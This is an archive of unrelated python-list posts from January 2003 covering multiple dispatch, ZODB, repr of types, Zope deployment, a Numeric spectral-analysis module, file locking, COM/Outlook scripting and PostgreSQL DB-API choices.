My worries about using BaseHTTPServer come from the fact that when I run
'serve_forever()', I need to use the task manager to kill the program. Is
there some way around that?

Thanks!
-E





From pedronis at bluewin.ch  Thu Jan  2 10:19:35 2003
From: pedronis at bluewin.ch (Samuele Pedroni)
Date: Thu, 2 Jan 2003 16:19:35 +0100
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org>
Message-ID: <3e14589e_5@news.bluewin.ch>

From: "David Mertz" <mertz at gnosis.cx>


> I've got to thinking about multimethods/multiple dispatch lately.  I
> wonder if Pythonistas have some futher opinions on the use of these.
> Actually, part of it is that I'd -really- like to better understand use
> cases for multiple dispatch.  As a trick, I can see it has a certain
> elegance, but little rock/paper/scissors toys are not, finally,
> compelling.

1) You can think about operators as multimethods vs. __add__ __radd__ .
2) Think about the visitor pattern once who have multiple dispatch.
3) Suppose you want the presentation of objects to change depending on
"context"
      pres(ctxt,obj)
4) If you have also dispatch on singletons and not only types (both Dylan
and CLOS have that too):
   e.g. PEP 246 or variations are trivially implemented
...

> There are a few things that I had particularly in mind.  In reading
> about Dylan, I found that it has a method named 'next-method( )' to
> propogate dispatch from the closest match to more distant ones.  You can
> control whether you want this to happen by including that method, or
> not.  Take a look at:
>
>     http://www.tpk.net/~ekidd/dylan/multiple-dispatch.html
>
> In my code, I added the facility to propogate dispatch.  Using the
> simple example that was a topic of conversation here 6 weeks ago, you
> can make a call like:
>
>     beats.add_rule((Fire,Thing), firepower, next_meth=AT_END)
>
> I give you options to propogate dispatch either before or after the code
> within the current method execution.

I think a multi-argument generalization of super (similar also to Cecil
resend

http://www.cs.washington.edu/research/projects/cecil/www/pubs/cecil-spec.htm
l

), would be the most flexible, pythonic solution.


> As well, I decided to make dispatch resolution order configurable.
> Hochberg's example was perhaps naive in fixing resolution order
> according to definition order.  That seems a little fussier than I would
> want.  So I made that configurable as well, and provide four sample
> resolution functions.  Two are naively definition-order based (either
> forward or reversed).  But two others are perhaps better candidates:
> 'lexicographic_mro()' and 'weighted_mro()'.  If I understand correctly
> (which I may not), the first follows Dylan, the second follows Damian
> Conway' Class::Multimethods.  I would be interested to understand other
> examples, particularly CLOS.  I have little intuition about what is the
> "right" answer.

lexicographic is default CLOS approach, in Dylan:

given B isa A,  then the signatures

(B,A)
(A,B)

would be ambiguous. (but if I recall correctly some(one) Dylan impl use the
CLOS ordering and not the Dylan one, oh well).

Unless you have only single inheritance and so you don't need linearization
of class hierarchies, I don't think the weighted approach
is manageable.

> Since I allow propogated dispatch, I had to decide what to do with
> results from the function calls.  I decided to accumulate all returned
> values into a list, and let the user pick what they want.  So for
> example:
>
>     <fire, fire>      ['Fire always wins!', 'Fire always wins!', 0]
>
> But for a non-propogating rule, the list has a single member:
>
>     <rock, scissors>  [1]
>
> If you stick to either 'SKIP' or 'AT_END' propogation, you can count on
> index 0 of the return being the most specific function's value.  Or if
> conversely, you like 'AT_START', you can use index -1.  If you mix the
> two styles, it could become complicated to find relevant return values.
>

which applicable methods to call and how to combine the results is dealt in
CLOS with method combinations.

A summary of CLOS can be found here:

http://www.dreamsongs.com/NewFiles/ECOOP.pdf

regards.





From grey at despair.dmiyu.org  Sat Jan  4 22:28:48 2003
From: grey at despair.dmiyu.org (Steve Lamb)
Date: Sun, 05 Jan 2003 03:28:48 -0000
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <87d6neay90.fsf@gvdnet.dk> <slrnb1bnuk.o8n.grey@teleute.dmiyu.org> <av6v8k$h18$0@216.39.172.122> <slrnb1ef1h.4l0.grey@teleute.dmiyu.org> <av7tcs$je4$0@216.39.172.122>
Message-ID: <slrnb1f9jg.83j.grey@teleute.dmiyu.org>

On 5 Jan 2003 00:14:20 GMT, Bengt Richter <bokr at oz.net> wrote:
> But if your application is mostly special-purpose editing, you can't just

    That's just it, we're talking a mail or news application which does not
have special purpose editing.  Create the application, call the editor.  That
is the proper way to do it.  

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
    To email: Don't despair!   |  -- Lenny Nero, Strange Days
-------------------------------+---------------------------------------------



From arosado at softhome.net  Mon Jan 13 21:10:38 2003
From: arosado at softhome.net (Andres Rosado)
Date: Mon, 13 Jan 2003 22:10:38 -0400
Subject: Too Self Centered (Just)
Message-ID: <5.2.0.9.0.20030113221032.00bc0ad8@mail.softhome.net>

On 04:26 PM 1/11/2003 -0500, the keyboard of python-list-request at python.org 
emitted:
>In article <3e2083fc$1 at nntp0.pdx.net>,
>  Scott David Daniels <Scott.Daniels at Acm.Org> wrote:
>
> > > Or
> > > self.total = len[x for x in f.readlines() if x != '']
> > or self.total = len([None for x in f.readlines() if x != ''])

The None is a good trick. Also I forgot about the parenthesis.

>Still not better than the original, which doesn't build a (potentially
>long) list at all.

Good point taken.


--
Andres Rosado
Email: andresr at despammed.com
ICQ: 66750646
Homepage: http://andres980.tripod.com/

Any circuit design must contain at least one part which is obsolete, two parts
which are unobtainable, and three parts which are still under development.  





From zopestoller at thomas-guettler.de  Thu Jan  9 05:33:34 2003
From: zopestoller at thomas-guettler.de (Thomas Guettler)
Date: Thu, 09 Jan 2003 11:33:34 +0100
Subject: ZODB: don't like self._p_changed
References: <avjfop$tmb$00$1@news.t-online.com> <3E1D4756.7040406@mxm.dk>
Message-ID: <avjj10$oe7$03$1@news.t-online.com>

Max M schrieb:
> Thomas Guettler wrote:
> 
>> Hi!
>>
>> I like ZODB very much. With it I don't need to
>> squeeze my application into database tables.
>>
>> Unfortunately you need to set self._p_changed=1
>> if you change a list of the object.
>>
>> Example:
>> self.my_list.append("foo")
>> self._p_changed=1 # This is needed

[cut]

>> Will this disappear in the future?
> 
> Probably not. How should an object know if a mutable subobject has been 
> changed?

The method "append" could set the flag.

  thomas





From letezo at fw.hu  Fri Jan 24 16:33:37 2003
From: letezo at fw.hu (=?windows-1250?Q?L=E9tezo?=)
Date: Fri, 24 Jan 2003 22:33:37 +0100
Subject: repr of type and class objects
Message-ID: <003101c2c3f0$49769230$8800a8c0@Sirius>

I've recently faced a shortcoming of my (our :-)
favourite prog. lang. related to "repr-ing" type
and class objects. Let's define a helper function
to show the problem:

def F(o): return eval(repr(o))==o

Then try this:

>>> F(1)
1
>>> F('x')
1
>>> F(int)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 1, in F
  File "<string>", line 1
    <type 'int'>
    ^
SyntaxError: invalid syntax

>>> str(int)
"<type 'int'>"

>>> repr(int)
"<type 'int'>"

In the case of str(int) returning "<type 'int'>" is ok, since
str() should return human-readable representation.
But repr() should return a python expression can be
evaluated into an object with the same "value" in the
same context, so returning "<type 'int'>" is a mistake.
repr() should return just "int" to satisfy the philosophy
behind repr.

F(int) should return 1, since:

>>> int==int
1

Generally, repr() should return the __name__ attribute if
called with a class object (not an instance of a class).
I had to solve the problem by treating type objects
specially, but it isn't an elegant solution.

I know, that fixing this problem may break some
(badly written) code, but accoring to my view, it's better
to check the type of an object by checking the return
value of type() instead of parsing the output of repr().

This could be fixed easily in version 2.3.

What do you think about this problem?

Best regards,
Complex







From boncelet at udel.edu  Mon Jan 20 09:37:06 2003
From: boncelet at udel.edu (boncelet)
Date: 20 Jan 2003 06:37:06 -0800
Subject: lots of similar classes?
Message-ID: <53ce2726.0301200637.611c2041@posting.google.com>

I want to create lots of similar classes and wonder what's the
best/most efficient way.

Pseudo-code looks like this:

class Super:
  def __init__(self,name,lots_of_other_arguments):
    self.name=name
    <<set rest of arguments, etc>>

class A(Super):
  def __init__(self,name='a',lots_of_other_arguments):
    Super.__init__(self,name,lots_of_other_arguments)

There will be lots of these, eg., A, B, C etc. Most of these will
differ only in the name argument.  In a few, I might want to use only
a subset of the "other arguments".

My problem is rewriting the "lot_of_other_arguments" over and over
again seems wasteful, error-prone, and fragile.  Is there a better
way?

Thanks,
  Charlie Boncelet <boncelet at udel.edu>



From andrew at logicalprogression.net  Tue Jan 14 17:37:50 2003
From: andrew at logicalprogression.net (Andrew Veitch)
Date: Tue, 14 Jan 2003 22:37:50 +0000
Subject: Zope on Port 80
Message-ID: <BA4A41BE.7E68%andrew@logicalprogression.net>

> Is there any reason _not_ to run Zope on port 80 of, say,
> mymachine.foo.com?

On Unix you have to be root to open port 80 and it's better if you can run
Zope as a user other than root in case of security problems.

It's not that good an idea to expose Zope to the outside world anyway, I'd
suggest running Apache on port 80 and re-direct to Zope on localhost:8080

You're probably better to direct Zope queries to one of the Zope mail lists,
see http://lists.zope.org

A

-- 
Logical Progression Ltd, 16 Forth Street, Edinburgh EH1 3LH, UK
Tel: +44 (0)131 466 9585 Web: http://www.logicalprogression.net/





From jdhunter at ace.bsd.uchicago.edu  Thu Jan 30 17:26:48 2003
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Thu, 30 Jan 2003 16:26:48 -0600
Subject: spectral density, periodograms, Numeric
In-Reply-To: <m27kcpusto.fsf@mother.paradise.lost> (John Hunter's message of
 "Tue, 28 Jan 2003 10:45:07 -0600")
References: <m27kcpusto.fsf@mother.paradise.lost>
Message-ID: <m2el6uz32v.fsf@mother.paradise.lost>

>>>>> "John" == John Hunter <jdhunter at ace.bsd.uchicago.edu> writes:

    John> Is anyone aware of cross and power spectral density
    John> functions for Numeric arrays using an averaged periodogram
    John> method.

Well, I never had any luck finding these so I ended up writing my
own.  Hope these help out the next fella who ends up here

Requires python2.2 and Numeric 


"""
Spectral analysis functions for Numerical python written for
compatability with matlab commands with the same names.

  psd - Power spectral density uing Welch's average periodogram
  csd - Cross spectral density uing Welch's average periodogram
  cohere - Coherence (normalized cross spectral density)
  corrcoef - The matrix of correlation coefficients

All functions should work for real or complex valued Numeric arrays.

The primary difference between the arguments for these functions and
those of matlab is that 'window' and 'detrend' are both functions,
whereas in matlab they are vectors.

Please send comments, questions and bugs to:

Author: John D. Hunter <jdhunter at ace.bsd.uchicago.edu>

"""

from __future__ import division
from MLab import mean, hanning, cov
from Numeric import zeros, ones, diagonal, transpose, matrixmultiply, \
     resize, sqrt, divide, array, Float, Complex, concatenate, \
     convolve, dot, conjugate, absolute, arange, reshape
from FFT import fft


def norm(x):
    return sqrt(dot(x,x))

def window_hanning(x):
    return hanning(len(x))*x

def window_none(x):
    return x

def detrend_mean(x):
    return x - mean(x)

def detrend_none(x):
    return x

def detrend_linear(x):
    """Remove the best fit line from x"""
    # I'm going to regress x on xx=range(len(x)) and return
    # x - (b*xx+a)
    xx = arange(len(x), typecode=x.typecode())
    X = transpose(array([xx]+[x]))
    C = cov(X)
    b = C[0,1]/C[0,0]
    a = mean(x) - b*mean(xx)
    return x-(b*xx+a)


def psd(x, NFFT=256, Fs=2, detrend=detrend_none,
        window=window_hanning, noverlap=0):
    """
    The power spectral density by Welches average periodogram method.
    The vector x is divided into NFFT length segments.  Each segment
    is detrended by function detrend and windowed by function window.
    noperlap gives the length of the overlap between segments.  The
    absolute(fft(segment))**2 of each segment are averaged to compute Pxx,
    with a scaling to correct for power loss due to windowing.  Fs is
    the sampling frequency.

    -- NFFT must be a power of 2
    -- detrend and window are functions, unlike in matlab where they are
       vectors.
    -- if length x < NFFT, it will be zero padded to NFFT
    

    Returns the tuple Pxx, freqs
    
    Refs:
      Bendat & Piersol -- Random Data: Analysis and Measurement
        Procedures, John Wiley & Sons (1986)

    """

    if NFFT % 2:
        raise ValueError, 'NFFT must be a power of 2'

    # zero pad x up to NFFT if it is shorter than NFFT
    if len(x)<NFFT:
        n = len(x)
        x = resize(x, (NFFT,))
        x[n:] = 0
    

    # for real x, ignore the negative frequencies
    if x.typecode()==Complex: numFreqs = NFFT
    else: numFreqs = NFFT//2+1
        
    windowVals = window(ones((NFFT,),x.typecode()))
    step = NFFT-noverlap
    ind = range(0,len(x)-NFFT+1,step)
    n = len(ind)
    Pxx = zeros((numFreqs,n), Float)

    # do the ffts of the slices
    for i in range(n):
        thisX = x[ind[i]:ind[i]+NFFT]
        thisX = windowVals*detrend(thisX)
        fx = absolute(fft(thisX))**2
        Pxx[:,i] = fx[:numFreqs]

    # Scale the spectrum by the norm of the window to compensate for
    # windowing loss; see Bendat & Piersol Sec 11.5.2
    if n>1: Pxx = mean(Pxx,1)
    Pxx = divide(Pxx, norm(windowVals)**2)
    freqs = Fs/NFFT*arange(0,numFreqs)
    return Pxx, freqs



def csd(x, y, NFFT=256, Fs=2, detrend=detrend_none,
        window=window_hanning, noverlap=0):
    """
    The cross spectral density Pxy by Welches average periodogram
    method.  The vectors x and y are divided into NFFT length
    segments.  Each segment is detrended by function detrend and
    windowed by function window.  noverlap gives the length of the
    overlap between segments.  The product of the direct FFTs of x and
    y are averaged over each segment to compute Pxy, with a scaling to
    correct for power loss due to windowing.  Fs is the sampling
    frequency.

    NFFT must be a power of 2

    Returns the tuple Pxy, freqs

    Refs:
      Bendat & Piersol -- Random Data: Analysis and Measurement
        Procedures, John Wiley & Sons (1986)

    """

    if NFFT % 2:
        raise ValueError, 'NFFT must be a power of 2'

    # zero pad x and y up to NFFT if they are shorter than NFFT
    if len(x)<NFFT:
        n = len(x)
        x = resize(x, (NFFT,))
        x[n:] = 0
    if len(y)<NFFT:
        n = len(y)
        y = resize(y, (NFFT,))
        y[n:] = 0

    # for real x, ignore the negative frequencies
    if x.typecode()==Complex: numFreqs = NFFT
    else: numFreqs = NFFT//2+1
        
    windowVals = window(ones((NFFT,),x.typecode()))
    step = NFFT-noverlap
    ind = range(0,len(x)-NFFT+1,step)
    n = len(ind)
    Pxy = zeros((numFreqs,n), Complex)

    # do the ffts of the slices
    for i in range(n):
        thisX = x[ind[i]:ind[i]+NFFT]
        thisX = windowVals*detrend(thisX)
        thisY = y[ind[i]:ind[i]+NFFT]
        thisY = windowVals*detrend(thisY)
        fx = fft(thisX)
        fy = fft(thisY)
        Pxy[:,i] = fy[:numFreqs]*conjugate(fx[:numFreqs])

    # Scale the spectrum by the norm of the window to compensate for
    # windowing loss; see Bendat & Piersol Sec 11.5.2
    if n>1: Pxy = mean(Pxy,1)
    Pxy = divide(Pxy, norm(windowVals)**2)
    freqs = Fs/NFFT*arange(0,numFreqs)
    return Pxy, freqs

def cohere(x, y, NFFT=256, Fs=2, detrend=detrend_none,
           window=window_hanning, noverlap=0):
    """
    cohere the coherence between x and y.  Coherence is the normalized
    cross spectral density

    Cxy = |Pxy|^2/(Pxx*Pyy)

    The return value is (Cxy, f), where f are the frequencies of the
    coherence vector.  See the docs for psd and csd for information
    about the function arguments NFFT, detrend, windowm noverlap, as
    well as the methods used to compute Pxy, Pxx and Pyy.

    Returns the tuple Cxy, freqs

    """

    
    Pxx,f = psd(x, NFFT=NFFT, Fs=Fs, detrend=detrend,
              window=window, noverlap=noverlap)
    Pyy,f = psd(y, NFFT=NFFT, Fs=Fs, detrend=detrend,
              window=window, noverlap=noverlap)
    Pxy,f = csd(x, y, NFFT=NFFT, Fs=Fs, detrend=detrend,
              window=window, noverlap=noverlap)

    Cxy = divide(absolute(Pxy)**2, Pxx*Pyy)
    return Cxy, f

def corrcoef(*args):
    """
    
    corrcoef(X) where X is a matrix returns a matrix of correlation
    coefficients for each row of X.
    
    corrcoef(x,y) where x and y are vectors returns the matrix or
    correlation coefficients for x and y.

    Numeric arrays can be real or complex

    The correlation matrix is defined from the covariance matrix C as

    r(i,j) = C[i,j] / (C[i,i]*C[j,j])
    """

    if len(args)==2:
        X = transpose(array([args[0]]+[args[1]]))
    elif len(args==1):
        X = args[0]
    else:
        raise RuntimeError, 'Only expecting 1 or 2 arguments'

    
    C = cov(X)
    d = resize(diagonal(C), (2,1))
    r = divide(C,sqrt(matrixmultiply(d,transpose(d))))
    try: return r.real
    except AttributeError: return r





From usenet.2.chasmcity at spamgourmet.com  Thu Jan 30 15:45:03 2003
From: usenet.2.chasmcity at spamgourmet.com (Kenny MacLeod)
Date: Thu, 30 Jan 2003 20:45:03 -0000
Subject: Jython TagLibs in JSP
References: <6437096f.0301300906.6db26790@posting.google.com>
Message-ID: <MPG.18a39f255bd46217989696@news.cis.dfn.de>

In article <6437096f.0301300906.6db26790 at posting.google.com>, 
tmoyer at talk.com says...
> I'm trying to write a JSP TagLib in Jython following the example from
> Jython for Java Programmers (pages 407-408).  It's being found by the
> app server (Orion in this case), but the methods aren't matching up
> correctly.  Anyone out there have any success doing this?

It's hard to comment without seeing some example code.  But Jython has 
fairly good type matching when it comes to passing objects back and 
forth between java and python code, although it can have trouble with 
overloaded methods.

kenny



From robin at jessikat.fsnet.co.uk  Mon Jan 13 19:47:16 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Tue, 14 Jan 2003 00:47:16 +0000
Subject: flock experience
Message-ID: <qBQ7XIAU41I+EwVv@jessikat.fsnet.co.uk>

has anybody good experience using file locking in python. I have the
typical problem of opening a log file for a short time (cgi environment)
in a multiprocess world. So far I think we have been lucky, but our 8
machine front end is contracting to one machine, just for us, so the
collision probabilities are rising. I see there's a recipe in the pcb,
but what happens to locked out processes etc etc.
-- 
Robin Becker



From cliechti at gmx.net  Wed Jan 29 18:04:14 2003
From: cliechti at gmx.net (Chris Liechti)
Date: 30 Jan 2003 00:04:14 +0100
Subject: SSH Control Through Python
References: <mailman.1043875322.30130.python-list@python.org>
Message-ID: <Xns9313B928FD9cliechtigmxnet@62.2.16.82>

Tyson Tate <nilobject at mac.com> wrote in 
news:mailman.1043875322.30130.python-list at python.org:

> I'm looking for some modules or what-not with which I could use to 
> connect to a remote host by way of SSH. pyssh looks as though it only 
> sends one command. I'd like to be able to log in and send commands as I 
> generate them (essentially I'm writing a program that will let me run 
> certain shell scripts and other items remotely). I searched google 
> groups but I can't seem to find a clear answer.

have a look at twisted. http://www.twistedmatrix.com/

chris

-- 
Chris <cliechti at gmx.net>




From mwm at mired.org  Mon Jan 27 17:33:17 2003
From: mwm at mired.org (Mike Meyer)
Date: Mon, 27 Jan 2003 22:33:17 GMT
Subject: Emacs has eaten my python tabs!!!
References: <1043563632.4966.71.camel@refugeeMedia> <15923.64232.153575.441139@montanaro.dyndns.org> <mailman.1043595527.13755.python-list@python.org> <pm7eg-im3.ln1@beastie.ix.netcom.com> <v39007j7i12ud2@news.supernews.com>
Message-ID: <x7ptqite7v.fsf@guru.mired.org>

"John Roth" <johnroth at ameritech.net> writes:

> So is the use of tabs in certain contexts; in particular any attempt
> to e-mail a python source to someone using Outlook Express. OE
> has this nasty habit of ignoring leading tabs.

OE also has the nasty habit of word wrapping, though I'm not sure if
that applies to both incoming and outgoing mail. And it can apparently
be disabled. It makes me want to send two-column text to people.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From logistix at zworg.com  Sat Jan 25 15:41:08 2003
From: logistix at zworg.com (logistix)
Date: 25 Jan 2003 12:41:08 -0800
Subject: Using ActiveX objects in Win32
References: <ttyY9.30486$eM6.43059@rwcrnsc51.ops.asp.att.net>
Message-ID: <bdb5b58f.0301251241.54f7c43@posting.google.com>

"bap" <trash at terastat.com> wrote in message news:<ttyY9.30486$eM6.43059 at rwcrnsc51.ops.asp.att.net>...
> Can anyone point me to documentation on how to use ActiveX objects in a
> Windows environement.
> I know of the anydll module for dlls -- does this work for ActiveX object?
> I'm looking for the equivalent of
> "createobject()" in VB
> Thanks

ActiveX is a subset of COM, so you can get to it through win32com. 
The closest equivilent to createobject is:

win32com.client.Dispatch(ProgID)

You'll also get a performance boost by running the makepy utility on
frequently used components.  It's on the tools menu in PythonWin.



From mhutchins at amr-corp.com  Wed Jan 29 15:56:53 2003
From: mhutchins at amr-corp.com (Hutchins, Mike)
Date: Wed, 29 Jan 2003 13:56:53 -0700
Subject: Service Control
Message-ID: <1DE2BB4E5055104F8B533D1264ED0BFE109CBC@cor1denexc1.cor1.root01.org>

I can't seem to be able to control services using win32serviceutil.

I keep getting

api_error: (1062, 'ControlService', 'The service has not been started.')

Any ideas on where to look? I have googled for a while now and can't
seem to figure it out.





From bokr at oz.net  Thu Jan 16 03:40:23 2003
From: bokr at oz.net (Bengt Richter)
Date: 16 Jan 2003 08:40:23 GMT
Subject: FW: Switch statements again
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com> <mailman.1042672950.5712.python-list@python.org>
Message-ID: <b05r5n$oan$0@216.39.172.122>

On Wed, 15 Jan 2003 18:21:40 -0500, Steven Scott <bodoni26 at resnet.gatech.edu> wrote:

>Quoting Steven Scott <Steven.Scott at Synchrologic.com>:
>>=20
>> If/elif/else remains the most common method.  If Python ever gains
>> something
>> like a switch statement you can bet the farm it won't have a "fall thru=
>"
>> feature though, so the way you've coded your C switch statement wouldn'=
>t
>> work.
>>=20
>
>but the absolute /only/ reason you'd use a switch over an if (besides
>looking better) is fall through.
>
Well, if you look at the code for an optimized C switch I think you'll
find another reason. I.e., if you can predetermine that all the switch
case _constants_ form a compact sequence of values, you can generate a
computed jump through a table that is a lot faster than a series of
conditional jumps, and even in cases where you have to introduce conditional
jumps for boundary cases you may still gain.

Regards,
Bengt Richter



From christophertavares at earthlink.net  Sat Jan 25 23:45:51 2003
From: christophertavares at earthlink.net (Chris Tavares)
Date: Sun, 26 Jan 2003 04:45:51 GMT
Subject: Getting SuperUser Authority From Within Running Python Program
References: <mq7v0b.6g8.ln@boundary.tundraware.com>
Message-ID: <3KJY9.3357$d66.339320@newsread1.prod.itd.earthlink.net>

"Tim Daneliuk" <tundra at tundraware.com> wrote in message
news:mq7v0b.6g8.ln at boundary.tundraware.com...
> Is there a way to have a running Python program acquire super-user status
> (assuming the program knows the correct password)?  If so, is this
> method portable to Win32 or will Unix and Win32 need different
implementations?
>

Whatever way there is, it's not portable to Win32. Windows doesn't have the
concept of a "super-user". Administrator isn't special like root is
special - admin accounts are just ordinary accounts with admin privs.

Win32 security programming is a fairly large subject that I'm not qualified
to address, but just so you know - no, you can't have a single solution.






From john_taylor_1973 at yahoo.com  Thu Jan 16 09:18:19 2003
From: john_taylor_1973 at yahoo.com (John Taylor)
Date: 16 Jan 2003 06:18:19 -0800
Subject: Outlook/Exchange CDO/COM questions
References: <fc30bff.0301150810.4e6b2271@posting.google.com> <BSlV9.16324$UB4.73555@news-server.bigpond.net.au>
Message-ID: <fc30bff.0301160618.3e7512f0@posting.google.com>

Mark Hammond <mhammond at skippinet.com.au> wrote in message news:<BSlV9.16324$UB4.73555 at news-server.bigpond.net.au>...
> John Taylor wrote:
> > I have 3 questions about the code that I am writing (posted below).
> > 
> > 1) This code works on Inbox, but I really need it to work on the "Sent
> > Items" folder, but can not figure this out.
> 
> folder = outlook.Session.GetDefaultFolder(constants.olFolderSentMail)
> 
> should open it for you.
> 

C:\code\outlook>python outlook.py
Traceback (most recent call last):
  File "outlook.py", line 70, in ?
  File "outlook.py", line 65, in main
  File "outlook.py", line 21, in msg_info
NameError: global name 'outlook' is not defined

So I changed, 'outlook' to 's', which is in my code, but then I got
the error below, which I can't not solve.  Any other ideas?  FWIW, I
am running Outlook 2002 to a Exchange 5.5 server and python 2.2.2.

C:\code\outlook>python outlook.py
Traceback (most recent call last):
  File "outlook.py", line 70, in ?
  File "outlook.py", line 65, in main
  File "outlook.py", line 21, in msg_info
NameError: global name 'constants' is not defined



From p.mayers at imperial.ac.uk  Thu Jan 30 11:15:15 2003
From: p.mayers at imperial.ac.uk (Phil Mayers)
Date: Thu, 30 Jan 2003 16:15:15 +0000
Subject: Scripting *of* Python
Message-ID: <b1bj7a$i9o$1@jura.cc.ic.ac.uk>

I thought I posted this already, but I can't see it anywhere - apologies
if this is a repeat.

I've got an application (actually a framework) written in Python based on
a medusa-like framework for asynchronously talking to thousands of remote
services in parallel. I have been unable to equal the performance of this
using a 1:1 or 1:N (pooled) thread model, so I need to stick with the
async version.

However, I have a problem - the code you write in such an application is
fairly... complex. The app acts as the client, the endpoints as the
server, so the logic looks like this:

def func(endpoint,a,b):
	# do some more get/set/process
	pass

val1 = get("var1")
if val1==1:
	tab = {}
	for index in set("var2", "val2"):
		tab[index] = get("var3:"+index),get("var4:"+index)
	for index,(a,b) in tab.items():
		func(index,a,b)

...but this ends up reading:

def me(*args):
	if not args:
		# First time
		queue("get","var1","val1")
		queue("call",me,"var1","val1")
		return
	elif args[1]=='var1':
		# args = ('var1','val1')
		args[2]==1:
			queue("set","var2","val2")
			queue("call",me,"index",LASTRETVAL)
			return
	elif args[1]=='index':
		tab = {}
		for index in args[2]:
			queue("get","var3:"+index,"val3:"+index)
			queue("get","var4:"+index,"val4:"+index)
			queue("call",me,"item",index,
				"val3:"+index,"val4:"+index,tab)
		queue("call",me,"done",tab)
		return
	elif args[1]=='item':
		index,val3,val4,table = args[2:]
		table[index] = (val3,val4)
		queue("call",func,index,val3,val4)

It's a contrived example, but I'm sure you see what I mean - the function
cannot block for very long, so it has to queue itself. This code quickly
gets unreadable (the code it *would* be in a thread is over 1k lines!) and
non-technical (well, less technical) people have to be able to write it.

I considered Stackless, but there appears to be no equivalent of the
select() timeout on channels and that makes things tough - then I came up
with the bright idea of *scripting* the Python engine.

Basically, you have a compiled bytecode and "stack" for each "thread", and
when you come across an opcode which would block, you store the state and
return from the "run_stack()" function, the scheduler runs, and all is
well.

The question is - does anyone know of such a thing i.e. a bytecode script
engine *for* a Python appliction - something like a JavaScript or lua
engine where I can hook enough of the system to implement
microthreads/fibres/whatever you want to call them.

Cheers,
Phil



From Kyler at news.Lairds.org  Sat Jan 11 18:26:02 2003
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Sat, 11 Jan 2003 23:26:02 GMT
Subject: How do I get to *all* of the groups of an re search?
References: <mailman.1042305441.25260.python-list@python.org>
Message-ID: <mvk6f-6ug.ln1@news.lairds.org>

Tim Peters <tim.one at comcast.net> writes:

>>> and would also (at least) complicate the meaning of backreferences
>>> (what is \1 >supposed to match then?  "a list" of all strings ever
>>> matched by group 1?

>> Yes, that is what I have suggested.

>I don't think so.  You expected that .group(n) would return a list of all
>substrings matched by group n, but that's a different question than what the
>regular expression component \n should match.

Yes, I'm sorry.  I was simply thinking of them being the same.
I agree that such a practice would render \1 useless in the RE.

>>> Sure.  For example, finding the last component of a path expression,
>>> in>order to isolate the file name, is a common application.

>> That's readily done using simple REs without depending on this
>> behavior.

>Of course, but what of it?

I would chose a method that does not rely on arbitrary
implementation-specific decisions.  Those methods are readily
available.

>As you replied to another poster who pointed out
>that there are other ways to do what you want, you don't care, you want what
>you want.

No, I want what is documented.  I want what would seem obvious
to someone who has not been tainted by experience with other
languages.

Failing that, I'd like all documentation of Python to be
correct on its own.

>> They won't have the experience to look at a piece of Python
>> documentation and say "Oh, but surely they don't mean *that*."

>If they also have the humility to read all the docs before presuming they
>understand any of it, no problem -- it's documented multiple times.  If you
>actually write docs for newbies, you'll know that newbies also space out
>easily when too much info is presented.  Repeating all relevant pieces of
>info at every point isn't friendly to newbies either.

I'm not asking for everything to be repeated.  I just want the
incorrect stuff deleted.

--kyler



From rrichardson at eti-main.enabletech.com  Wed Jan  8 17:41:08 2003
From: rrichardson at eti-main.enabletech.com (Rick Richardson)
Date: Wed, 8 Jan 2003 14:41:08 -0800 
Subject: Python vs .Net
Message-ID: <A7E67E8DB535D411ADC8009027F6449B49637C@ETI-MAIN>

>(On another note, in response to your concern about productivity
>loss, an XP-style question-as-response might be this: "What do you
>think would happen if for a while your productivity went down so
>much that you were forced to pay attention to the process you were
>learning rather than to the code you were trying to write?"  ;-)  )

If ever there was a "I can't sharpen my saw, I'm too busy sawing" scenario
it could definetely be found in software engineering/development.


Rick Richardson




From tismer at tismer.com  Fri Jan  3 08:50:59 2003
From: tismer at tismer.com (Christian Tismer)
Date: Fri, 03 Jan 2003 14:50:59 +0100
Subject: Python soon to develop goto ?
References: <3E1592FD.2090905@users.snip.snip.ch>
Message-ID: <3E159543.8030402@tismer.com>

BB wrote:
> http://www.python.org/2.3/NEWS.html reads :
> 
>  > A frame object's f_lineno attribute can now be written to from a trace
>  > function to change which line will execute next.

This is a feature to support debugging, like
stepping over a bad statement without executing
it. Certainly it is not meant to be abused to
create a goto construct. If that had been in mind,
a simple syntactig addition to the intepreter would
have done it, because there are internal jump opcodes
for the implementation of if-then-else and friends.

ciao -- chris
-- 
Christian Tismer             :^)   <mailto:tismer at tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/






From member16943 at dbforums.com  Tue Jan  7 14:50:32 2003
From: member16943 at dbforums.com (Tetsuo)
Date: Tue, 07 Jan 2003 19:50:32 +0000
Subject: Custom statements
Message-ID: <2358094.1041969032@dbforums.com>

If I wanted "nand" to be a Python statement, could I do that without
hacking the C source code?

--
Posted via http://dbforums.com



From vecernik at aon.at  Fri Jan  3 11:53:49 2003
From: vecernik at aon.at (Oliver Vecernik)
Date: Fri, 03 Jan 2003 17:53:49 +0100
Subject: which postgresql DB-API for python?
Message-ID: <3E15C01D.1000704@aon.at>

Hi!

I'd like to write a small database app and found a lot of DB-API's:

* pygresql
* popy
* pgsql
* psycopg
* pypgsql

Which on should I use? Are there any main advantages for one of them? 
Why are there such a lot of implementations. Does none of them fit all 
requirements?

I'd like to use my app on Linux (Debian/Woody) and on Windows (W2K/XP) 
